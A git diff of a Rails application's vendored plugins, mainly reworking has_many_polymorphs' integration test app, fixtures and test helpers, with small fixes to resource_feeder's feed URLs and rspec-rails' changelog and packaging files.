-NM:
- id: <%= (id=id+1).to_s %>
- name: New Mexico
- abbreviation: NM
-NY:
- id: <%= (id=id+1).to_s %>
- name: New York
- abbreviation: NY
-NC:
- id: <%= (id=id+1).to_s %>
- name: North Carolina
- abbreviation: NC
-ND:
- id: <%= (id=id+1).to_s %>
- name: North Dakota
- abbreviation: ND
-OH:
- id: <%= (id=id+1).to_s %>
- name: Ohio
- abbreviation: OH
-OK:
- id: <%= (id=id+1).to_s %>
- name: Oklahoma
- abbreviation: OK
-OR:
- id: <%= (id=id+1).to_s %>
- name: Oregon
- abbreviation: OR
-PA:
- id: <%= (id=id+1).to_s %>
- name: Pennsylvania
- abbreviation: PA
-RI:
- id: <%= (id=id+1).to_s %>
- name: Rhode Island
- abbreviation: RI
-SC:
- id: <%= (id=id+1).to_s %>
- name: South Carolina
- abbreviation: SC
-SD:
- id: <%= (id=id+1).to_s %>
- name: South Dakota
- abbreviation: SD
-TN:
- id: <%= (id=id+1).to_s %>
- name: Tennessee
- abbreviation: TN
-TX:
- id: <%= (id=id+1).to_s %>
- name: Texas
- abbreviation: TX
-UT:
- id: <%= (id=id+1).to_s %>
- name: Utah
- abbreviation: UT
-VT:
- id: <%= (id=id+1).to_s %>
- name: Vermont
- abbreviation: VT
-VA:
- id: <%= (id=id+1).to_s %>
- name: Virginia
- abbreviation: VA
-WA:
- id: <%= (id=id+1).to_s %>
- name: Washington
- abbreviation: WA
-WV:
- id: <%= (id=id+1).to_s %>
- name: West Virginia
- abbreviation: WV
-WI:
- id: <%= (id=id+1).to_s %>
- name: Wisconsin
- abbreviation: WI
-WY:
- id: <%= (id=id+1).to_s %>
- name: Wyoming
- abbreviation: WY
\ No newline at end of file
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml
new file mode 100644
index 00000000..157d7472
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+one:
+ name: MyString
+
+two:
+ name: MyString
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml
new file mode 100644
index 00000000..157d7472
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+one:
+ name: MyString
+
+two:
+ name: MyString
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/users.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/users.yml
deleted file mode 100644
index 36c366fd..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/users.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-<% 1.upto(41) do |num| %>
-<%="user#{num}:" %>
- id: <%= num.to_s %>
- login: <%= "user#{num}" %>
- crypted_password: "2fdefe5c83d80a03a828dd65e90cfff65f0fb42d043a254ca2cad6af968d0e15" #password
- email: <%= "user#{num}@test.com" %>
- salt: "1000"
- created_at: <%= (Time.now - 30).to_s :db %>
- updated_at: <%= Time.now.to_s :db %>
- deleted: <%= num == 41 ? true : false %>
-<% end %>
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/user_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb
similarity index 70%
rename from vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/user_test.rb
rename to vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb
index 5468f7a2..fc0c7bd8 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/user_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb
@@ -1,8 +1,6 @@
require File.dirname(__FILE__) + '/../test_helper'
-class UserTest < Test::Unit::TestCase
- fixtures :users
-
+class BonesControllerTest < ActionController::TestCase
# Replace this with your real tests.
def test_truth
assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
index a299c7f6..773c49de 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
@@ -1,28 +1,8 @@
-ENV["RAILS_ENV"] = "test"
+ENV["RAILS_ENV"] = "development"
require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
require 'test_help'
class Test::Unit::TestCase
- # Transactional fixtures accelerate your tests by wrapping each test method
- # in a transaction that's rolled back on completion. This ensures that the
- # test database remains unchanged so your fixtures don't have to be reloaded
- # between every test method. Fewer database queries means faster tests.
- #
- # Read Mike Clark's excellent walkthrough at
- # http://clarkware.com/cgi/blosxom/2005/10/24#Rails10FastTesting
- #
- # Every Active Record database supports transactions except MyISAM tables
- # in MySQL. Turn off transactional fixtures in this case; however, if you
- # don't care one way or the other, switching from MyISAM to InnoDB tables
- # is recommended.
self.use_transactional_fixtures = true
-
- # Instantiated fixtures are slow, but give you @david where otherwise you
- # would need people(:david). If you don't want to migrate your existing
- # test cases which use the @david style and don't mind the speed hit (each
- # instantiated fixtures translates to a database query per test method),
- # then set this back to true.
self.use_instantiated_fixtures = false
-
- # Add more helper methods to be used by all tests here...
end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/state_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
similarity index 69%
rename from vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/state_test.rb
rename to vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
index 43b94dbe..8afcb87b 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/state_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
@@ -1,8 +1,6 @@
require File.dirname(__FILE__) + '/../test_helper'
-class StatesTest < Test::Unit::TestCase
- fixtures :states
-
+class BoneTest < Test::Unit::TestCase
# Replace this with your real tests.
def test_truth
assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citation_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citation_test.rb
deleted file mode 100644
index 113444f4..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citation_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require File.dirname(__FILE__) + '/../test_helper'
-
-class CitationTest < Test::Unit::TestCase
- fixtures :citations
-
- # Replace this with your real tests.
- def test_truth
- assert true
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citations_item_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citations_item_test.rb
deleted file mode 100644
index 0760753f..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/citations_item_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require File.dirname(__FILE__) + '/../test_helper'
-
-class CitationsItemTest < Test::Unit::TestCase
- fixtures :citations_items
-
- # Replace this with your real tests.
- def test_truth
- assert true
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/seller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
similarity index 68%
rename from vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/seller_test.rb
rename to vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
index 69739a7f..dc20e74d 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/seller_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
@@ -1,8 +1,6 @@
require File.dirname(__FILE__) + '/../test_helper'
-class SellerTest < Test::Unit::TestCase
- fixtures :sellers
-
+class DoubleStiParentRelationshipTest < Test::Unit::TestCase
# Replace this with your real tests.
def test_truth
assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/address_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
similarity index 67%
rename from vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/address_test.rb
rename to vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
index 764f01af..154383a2 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/address_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
@@ -1,8 +1,6 @@
require File.dirname(__FILE__) + '/../test_helper'
-class AddressTest < Test::Unit::TestCase
- fixtures :addresses
-
+class DoubleStiParentTest < Test::Unit::TestCase
# Replace this with your real tests.
def test_truth
assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb
new file mode 100644
index 00000000..af328b95
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb
@@ -0,0 +1,8 @@
+require File.dirname(__FILE__) + '/../test_helper'
+
+class OrganicSubstanceTest < Test::Unit::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb
new file mode 100644
index 00000000..d5563fd8
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb
@@ -0,0 +1,8 @@
+require File.dirname(__FILE__) + '/../test_helper'
+
+class SingleStiParentRelationshipTest < Test::Unit::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb
new file mode 100644
index 00000000..70a00ecb
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb
@@ -0,0 +1,8 @@
+require File.dirname(__FILE__) + '/../test_helper'
+
+class SingleStiParentTest < Test::Unit::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb
new file mode 100644
index 00000000..6729e0d6
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb
@@ -0,0 +1,8 @@
+require File.dirname(__FILE__) + '/../test_helper'
+
+class StickTest < Test::Unit::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb
new file mode 100644
index 00000000..76b518d7
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb
@@ -0,0 +1,8 @@
+require File.dirname(__FILE__) + '/../test_helper'
+
+class StoneTest < Test::Unit::TestCase
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb
new file mode 100644
index 00000000..e53ea1aa
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb
@@ -0,0 +1,43 @@
+
+require "#{File.dirname(__FILE__)}/../test_helper"
+require 'open-uri'
+
+# Start the server
+
+class ServerTest < Test::Unit::TestCase
+
+ PORT = 43040
+ URL = "http://localhost:#{PORT}/"
+
+ def setup
+ @pid = Process.fork do
+ Dir.chdir RAILS_ROOT do
+ # print "S"
+ exec("script/server -p #{PORT} &> #{LOG}")
+ end
+ end
+ sleep(5)
+ end
+
+ def teardown
+ # Process.kill(9, @pid) doesn't work because Mongrel has double-forked itself away
+ `ps awx | grep #{PORT} | grep -v grep | awk '{print $1}'`.split("\n").each do |pid|
+ system("kill -9 #{pid}")
+ # print "K"
+ end
+ sleep(2)
+ @pid = nil
+ end
+
+ def test_association_reloading
+ assert_match(/Bones: index/, open(URL + 'bones').read)
+ assert_match(/Bones: index/, open(URL + 'bones').read)
+ assert_match(/Bones: index/, open(URL + 'bones').read)
+ assert_match(/Bones: index/, open(URL + 'bones').read)
+ end
+
+ def test_verify_autoload_gets_invoked_in_console
+ # XXX Probably can use script/runner to test this
+ end
+
+end
\ No newline at end of file
diff --git a/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff b/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff
new file mode 100644
index 00000000..99e0df3e
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff
@@ -0,0 +1,46 @@
+Index: /trunk/railties/lib/rails_generator/lookup.rb
+===================================================================
+--- /trunk/railties/lib/rails_generator/lookup.rb (revision 4310)
++++ /trunk/railties/lib/rails_generator/lookup.rb (revision 6101)
+@@ -101,5 +101,5 @@
+ sources << PathSource.new(:lib, "#{::RAILS_ROOT}/lib/generators")
+ sources << PathSource.new(:vendor, "#{::RAILS_ROOT}/vendor/generators")
+- sources << PathSource.new(:plugins, "#{::RAILS_ROOT}/vendor/plugins/**/generators")
++ sources << PathSource.new(:plugins, "#{::RAILS_ROOT}/vendor/plugins/*/**/generators")
+ end
+ sources << PathSource.new(:user, "#{Dir.user_home}/.rails/generators")
+Index: /trunk/railties/lib/tasks/rails.rb
+===================================================================
+--- /trunk/railties/lib/tasks/rails.rb (revision 5469)
++++ /trunk/railties/lib/tasks/rails.rb (revision 6101)
+@@ -6,3 +6,3 @@
+ # Load any custom rakefile extensions
+ Dir["#{RAILS_ROOT}/lib/tasks/**/*.rake"].sort.each { |ext| load ext }
+-Dir["#{RAILS_ROOT}/vendor/plugins/**/tasks/**/*.rake"].sort.each { |ext| load ext }
++Dir["#{RAILS_ROOT}/vendor/plugins/*/**/tasks/**/*.rake"].sort.each { |ext| load ext }
+Index: /trunk/railties/lib/tasks/testing.rake
+===================================================================
+--- /trunk/railties/lib/tasks/testing.rake (revision 5263)
++++ /trunk/railties/lib/tasks/testing.rake (revision 6101)
+@@ -109,9 +109,9 @@
+ t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb"
+ else
+- t.pattern = 'vendor/plugins/**/test/**/*_test.rb'
++ t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb'
+ end
+
+ t.verbose = true
+ end
+- Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name)"
++ Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/*/**/test (or specify with PLUGIN=name)"
+ end
+Index: /trunk/railties/CHANGELOG
+===================================================================
+--- /trunk/railties/CHANGELOG (revision 6069)
++++ /trunk/railties/CHANGELOG (revision 6101)
+@@ -1,3 +1,5 @@
+ *SVN*
++
++* Plugins may be symlinked in vendor/plugins. #4245 [brandon, progrium@gmail.com]
+
+ * Resource generator depends on the model generator rather than duplicating it. #7269 [bscofield]
diff --git a/vendor/plugins/has_many_polymorphs/test/setup.rb b/vendor/plugins/has_many_polymorphs/test/setup.rb
index 8e7baad8..361da8f7 100644
--- a/vendor/plugins/has_many_polymorphs/test/setup.rb
+++ b/vendor/plugins/has_many_polymorphs/test/setup.rb
@@ -5,6 +5,10 @@ Dir.chdir "#{File.dirname(__FILE__)}/integration/app/" do
Dir.chdir "vendor/plugins" do
system("rm has_many_polymorphs; ln -s ../../../../../ has_many_polymorphs")
end
- system("rake db:create")
- system("rake db:migrate db:fixtures:load")
+
+ system "rake db:drop --trace RAILS_GEM_VERSION=2.0.2 "
+ system "rake db:create --trace RAILS_GEM_VERSION=2.0.2 "
+ system "rake db:migrate --trace"
+ system "rake db:fixtures:load --trace"
end
+
diff --git a/vendor/plugins/has_many_polymorphs/test/test_all.rb b/vendor/plugins/has_many_polymorphs/test/test_all.rb
deleted file mode 100644
index 82802698..00000000
--- a/vendor/plugins/has_many_polymorphs/test/test_all.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-
-# Run tests against all Rails versions
-
-VENDOR_DIR = File.expand_path("~/Desktop/projects/vendor/rails")
-
-HERE = File.expand_path(File.dirname(__FILE__))
-
-Dir["#{VENDOR_DIR}/*"].each do |dir|
- puts "\n\n**** #{dir} ****\n\n"
- Dir.chdir "#{HERE}/integration/app/vendor" do
- system("rm rails; ln -s #{dir} rails")
- end
- system("ruby #{HERE}/unit/polymorph_test.rb")
-end
-
-system("rm #{HERE}/integration/app/vendor; svn up #{HERE}/integration/app/vendor")
diff --git a/vendor/plugins/has_many_polymorphs/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/test_helper.rb
index e0cc1b77..887bd86d 100644
--- a/vendor/plugins/has_many_polymorphs/test/test_helper.rb
+++ b/vendor/plugins/has_many_polymorphs/test/test_helper.rb
@@ -1,23 +1,28 @@
-begin
- require 'rubygems'
- require 'ruby-debug'
- Debugger.start
-rescue Object
+$VERBOSE = nil
+require 'rubygems'
+require 'echoe'
+require 'test/unit'
+require 'multi_rails_init'
+require 'ruby-debug'
+
+if defined? ENV['MULTIRAILS_RAILS_VERSION']
+ ENV['RAILS_GEM_VERSION'] = ENV['MULTIRAILS_RAILS_VERSION']
end
-HERE = File.expand_path(File.dirname(__FILE__))
-$LOAD_PATH << HERE
-
-# require 'integration/app/config/environment'
-require 'integration/app/test/test_helper'
-
-def silently
- stderr, $stderr = $stderr, StringIO.new
- yield
- $stderr = stderr
+Echoe.silence do
+ HERE = File.expand_path(File.dirname(__FILE__))
+ $LOAD_PATH << HERE
+ # $LOAD_PATH << "#{HERE}/integration/app"
end
+LOG = "#{HERE}/integration/app/log/development.log"
+
+### For unit tests
+
+require 'integration/app/config/environment'
+require 'test_help'
+
Inflector.inflections {|i| i.irregular 'fish', 'fish' }
$LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path = HERE + "/fixtures")
@@ -29,7 +34,18 @@ class Test::Unit::TestCase
self.use_instantiated_fixtures = false
end
-# test schema
-silently do
+Echoe.silence do
load(HERE + "/schema.rb")
end
+
+### For integration tests
+
+def truncate
+ system("> #{LOG}")
+end
+
+def log
+ File.open(LOG, 'r') do |f|
+ f.read
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/unit/polymorph_test.rb b/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
similarity index 95%
rename from vendor/plugins/has_many_polymorphs/test/unit/polymorph_test.rb
rename to vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
index 0ca5d1ae..7f4b05a4 100644
--- a/vendor/plugins/has_many_polymorphs/test/unit/polymorph_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
@@ -46,22 +46,22 @@ class PolymorphTest < Test::Unit::TestCase
def test_all_relationship_validities
# q = []
# ObjectSpace.each_object(Class){|c| q << c if c.ancestors.include? ActiveRecord::Base }
- # q.each{|c| puts "#{c.name}.reflect_on_all_associations.map &:check_validity! "}
- Petfood.reflect_on_all_associations.map &:check_validity!
- Tabby.reflect_on_all_associations.map &:check_validity!
- Kitten.reflect_on_all_associations.map &:check_validity!
- Dog.reflect_on_all_associations.map &:check_validity!
- Canine.reflect_on_all_associations.map &:check_validity!
- Aquatic::Fish.reflect_on_all_associations.map &:check_validity!
- EatersFoodstuff.reflect_on_all_associations.map &:check_validity!
- WildBoar.reflect_on_all_associations.map &:check_validity!
- Frog.reflect_on_all_associations.map &:check_validity!
- Cat.reflect_on_all_associations.map &:check_validity!
- BeautifulFightRelationship.reflect_on_all_associations.map &:check_validity!
- Person.reflect_on_all_associations.map &:check_validity!
- Parentship.reflect_on_all_associations.map &:check_validity!
- Aquatic::Whale.reflect_on_all_associations.map &:check_validity!
- Aquatic::PupilsWhale.reflect_on_all_associations.map &:check_validity!
+ # q.each{|c| puts "#{c.name}.reflect_on_all_associations.map(&:check_validity!)"}
+ Petfood.reflect_on_all_associations.map(&:check_validity!)
+ Tabby.reflect_on_all_associations.map(&:check_validity!)
+ Kitten.reflect_on_all_associations.map(&:check_validity!)
+ Dog.reflect_on_all_associations.map(&:check_validity!)
+ Canine.reflect_on_all_associations.map(&:check_validity!)
+ Aquatic::Fish.reflect_on_all_associations.map(&:check_validity!)
+ EatersFoodstuff.reflect_on_all_associations.map(&:check_validity!)
+ WildBoar.reflect_on_all_associations.map(&:check_validity!)
+ Frog.reflect_on_all_associations.map(&:check_validity!)
+ Cat.reflect_on_all_associations.map(&:check_validity!)
+ BeautifulFightRelationship.reflect_on_all_associations.map(&:check_validity!)
+ Person.reflect_on_all_associations.map(&:check_validity!)
+ Parentship.reflect_on_all_associations.map(&:check_validity!)
+ Aquatic::Whale.reflect_on_all_associations.map(&:check_validity!)
+ Aquatic::PupilsWhale.reflect_on_all_associations.map(&:check_validity!)
end
def test_assignment
diff --git a/vendor/plugins/resource_feeder/lib/resource_feeder/atom.rb b/vendor/plugins/resource_feeder/lib/resource_feeder/atom.rb
index 62d15370..40af87df 100644
--- a/vendor/plugins/resource_feeder/lib/resource_feeder/atom.rb
+++ b/vendor/plugins/resource_feeder/lib/resource_feeder/atom.rb
@@ -26,14 +26,14 @@ module ResourceFeeder
options[:feed][:title] ||= klass.name.pluralize
options[:feed][:id] ||= "tag:#{request.host_with_port}:#{klass.name.pluralize}"
- options[:feed][:link] ||= polymorphic_url(new_record, :controller => options[:url_writer])
+ options[:feed][:link] ||= polymorphic_url(new_record, :controller => options[:url_writer].controller_name)
options[:item][:title] ||= [ :title, :subject, :headline, :name ]
options[:item][:description] ||= [ :description, :body, :content ]
options[:item][:pub_date] ||= [ :updated_at, :updated_on, :created_at, :created_on ]
options[:item][:author] ||= [ :author, :creator ]
- resource_link = lambda { |r| polymorphic_url(r, :controller => options[:url_writer]) }
+ resource_link = lambda { |r| polymorphic_url(r, :controller => options[:url_writer].controller_name) }
xml.instruct!
xml.feed "xml:lang" => "en-US", "xmlns" => 'http://www.w3.org/2005/Atom' do
diff --git a/vendor/plugins/resource_feeder/lib/resource_feeder/rss.rb b/vendor/plugins/resource_feeder/lib/resource_feeder/rss.rb
index bcbe7598..d3fa56d7 100644
--- a/vendor/plugins/resource_feeder/lib/resource_feeder/rss.rb
+++ b/vendor/plugins/resource_feeder/lib/resource_feeder/rss.rb
@@ -26,7 +26,7 @@ module ResourceFeeder
use_content_encoded = options[:item].has_key?(:content_encoded)
options[:feed][:title] ||= klass.name.pluralize
- options[:feed][:link] ||= polymorphic_url(new_record, :controller => options[:url_writer])
+ options[:feed][:link] ||= polymorphic_url(new_record, :controller => options[:url_writer].controller_name)
options[:feed][:language] ||= "en-us"
options[:feed][:ttl] ||= "40"
@@ -34,7 +34,7 @@ module ResourceFeeder
options[:item][:description] ||= [ :description, :body, :content ]
options[:item][:pub_date] ||= [ :updated_at, :updated_on, :created_at, :created_on ]
- resource_link = lambda { |r| polymorphic_url(r, :controller => options[:url_writer]) }
+ resource_link = lambda { |r| polymorphic_url(r, :controller => options[:url_writer].controller_name) }
rss_root_attributes = { :version => 2.0 }
rss_root_attributes.merge!("xmlns:content" => "http://purl.org/rss/1.0/modules/content/") if use_content_encoded
diff --git a/vendor/plugins/rspec-rails/.gitignore b/vendor/plugins/rspec-rails/.gitignore
index 8c6c23dc..f4fda458 100644
--- a/vendor/plugins/rspec-rails/.gitignore
+++ b/vendor/plugins/rspec-rails/.gitignore
@@ -2,3 +2,6 @@ tmtags
.DS_Store
.emacs-project
*~
+pkg
+doc
+email.txt
diff --git a/vendor/plugins/rspec-rails/CHANGES b/vendor/plugins/rspec-rails/CHANGES
deleted file mode 100644
index 23db2de6..00000000
--- a/vendor/plugins/rspec-rails/CHANGES
+++ /dev/null
@@ -1,26 +0,0 @@
-== Version 1.1.5
-
-* Add conditional so Rails 2.1.0 doesn't warn about cache_template_extensions (patch from James Herdman)
-* Fixed stub_model examples to work with Rails 2.1.0 (the code was fine, just the spec needed patching)
-
-== Version 1.1.4
-
-Maintenance release.
-
-* Moved mock_model and stub_model to their own module: Spec::Rails::Mocks
-* Setting mock_model object id with stubs hash - patch from Adam Meehan
-* Added as_new_record to stub_model e.g. stub_model(Foo).as_new_record
-* Improved stub_model such that new_record? does "the right thing"
-* Patch from Pat Maddox to get integrate_views to work in nested example groups.
-* Patch from Pat Maddox to get controller_name to work in nested example groups.
-* Patch from Corey Haines to add include_text matcher
-* Added stub_model method which creates a real model instance with :id stubbed and data access prohibited.
-* Applied patch from Pat Maddox to handle redirect_to w/ SSL. Closes #320.
-* Added #helper and #assigns to helper specs.
-* Applied patch from Bryan Helmkamp to tweak format of generated spec.opts to be more obvious. Closes #162.
-* Tweaked list of exceptions (ignores) for autotest
-* Applied patch from Rick Olson to get rspec_on_rails working with rails edge (>= 8862)
-* Applied patch from Wincent Colaiuta to invert sense of "spec --diff". Closes #281.
-* Allow any type of render in view specs. Closes #57.
-* Applied patch from Ian White to get rspec working with edge rails (8804). Closes #271.
-* Applied patch from Jon Strother to have spec_server reload fixtures. Closes #344.
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/History.txt b/vendor/plugins/rspec-rails/History.txt
new file mode 100644
index 00000000..e1897359
--- /dev/null
+++ b/vendor/plugins/rspec-rails/History.txt
@@ -0,0 +1,82 @@
+=== Maintenance
+
+* 1 bug fix
+
+ * require 'rubygems' in script/spec
+
+=== Version 1.1.8 / 2008-10-03
+
+* 2 bug fixes
+
+ * correctly handle assigns that are false. Fixes #552.
+ * ensure that NotYetImplemented examples report as pending (fixed in rspec, not rspec-rails). Fixes #553.
+
+=== Version 1.1.7 / 2008-10-02
+
+* 1 bug fix
+
+ * depend on the correct version of rspec
+
+=== Version 1.1.6 / 2008-10-02
+
+* 1 bug fix
+
+ * fixed regression where values assigned to the assigns hash were not accessible from the example (#549)
+
+=== Version 1.1.5 / 2008-09-28
+
+IMPORTANT: use 'script/autospec' (or just 'autospec' if you have the rspec gem
+installed) instead of 'autotest'. We changed the way autotest discovers rspec
+so the autotest executable won't automatically load rspec anymore. This allows
+rspec to live side by side other spec frameworks without always co-opting
+autotest through autotest's discovery mechanism.
+
+ALSO IMPORTANT: Rails v2.1.1 changed assert_select_rjs such that it doesn't
+always fail when it should. Please see
+http://rails.lighthouseapp.com/projects/8994/tickets/982.
+
+* Generated route specs have shorter names, making it less painful to modify their implementation
+* Add conditional so Rails 2.1.0 doesn't warn about cache_template_extensions (patch from James Herdman)
+* Fixed stub_model examples to work with Rails 2.1.0 (the code was fine, just the examples needed patching)
+* use hoe for build/release
+* reworked generated examples for rspec_scaffold - thanks to Mikel Lindsaar and Dan Manges for their feedback
+* bye, bye translator
+* Added proxy to cookies so you can set them in examples the same way you set them in controllers
+* Added script/autospec so you can run autospec without installing the gem
+* Support --skip-fixture in the rspec_model generator (patches from Alex Tomlins and Niels Ganser)
+* Add mock_model#as_new_record (patch from Zach Dennis)
+* mock(:null_object=>true) plays nice with HTML (patch from Gerrit Kaiser)
+* Suppress a deprecation notice in Rails 2.1 (James Herdman)
+* quiet deprecation warning on inflector (RSL)
+* rspec-rails gem (Ben Mabey)
+* updated generated code examples
+* Make rspec_model generator honour --skip-fixtures tag (Niels Ganser, Alex Tomlins)
+* Fix to create new models with attributes in command line (Nicolas)
+* fix to_param in mock_model with stubbed id incorrectly returning autogenerated id (Adam Meehan)
+* Call Rail's TestCase setup/teardown callbacks (Jonathan del Strother)
+* Only run TestUnitTesting once (Jonathan del Strother)
+* use require_dependency instead of require (Brandon Keepers)
+* Fixed a problem caused by controller action names getting out of sync between rspec-dev and rspec-rails for speccing (Matt Patterson)
+* don't mutate hash passed to mock_model (Reg Vos)
+
+=== Version 1.1.4
+
+Maintenance release.
+
+* Moved mock_model and stub_model to their own module: Spec::Rails::Mocks
+* Setting mock_model object id with stubs hash - patch from Adam Meehan
+* Added as_new_record to stub_model e.g. stub_model(Foo).as_new_record
+* Improved stub_model such that new_record? does "the right thing"
+* Patch from Pat Maddox to get integrate_views to work in nested example groups.
+* Patch from Pat Maddox to get controller_name to work in nested example groups.
+* Patch from Corey Haines to add include_text matcher
+* Added stub_model method which creates a real model instance with :id stubbed and data access prohibited.
+* Applied patch from Pat Maddox to handle redirect_to w/ SSL. Closes #320.
+* Added #helper and #assigns to helper specs.
+* Applied patch from Bryan Helmkamp to tweak format of generated spec.opts to be more obvious. Closes #162.
+* Tweaked list of exceptions (ignores) for autotest
+* Applied patch from Rick Olson to get rspec_on_rails working with rails edge (>= 8862)
+* Applied patch from Wincent Colaiuta to invert sense of "spec --diff". Closes #281.
+* Allow any type of render in view specs. Closes #57.
+* Applied patch from Ian White to get rspec working with edge rails (8804). Closes #271.
+* Applied patch from Jon Strother to have spec_server reload fixtures. Closes #344.
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/MIT-LICENSE b/vendor/plugins/rspec-rails/License.txt
similarity index 91%
rename from vendor/plugins/rspec-rails/MIT-LICENSE
rename to vendor/plugins/rspec-rails/License.txt
index 239d8e7e..161a1420 100644
--- a/vendor/plugins/rspec-rails/MIT-LICENSE
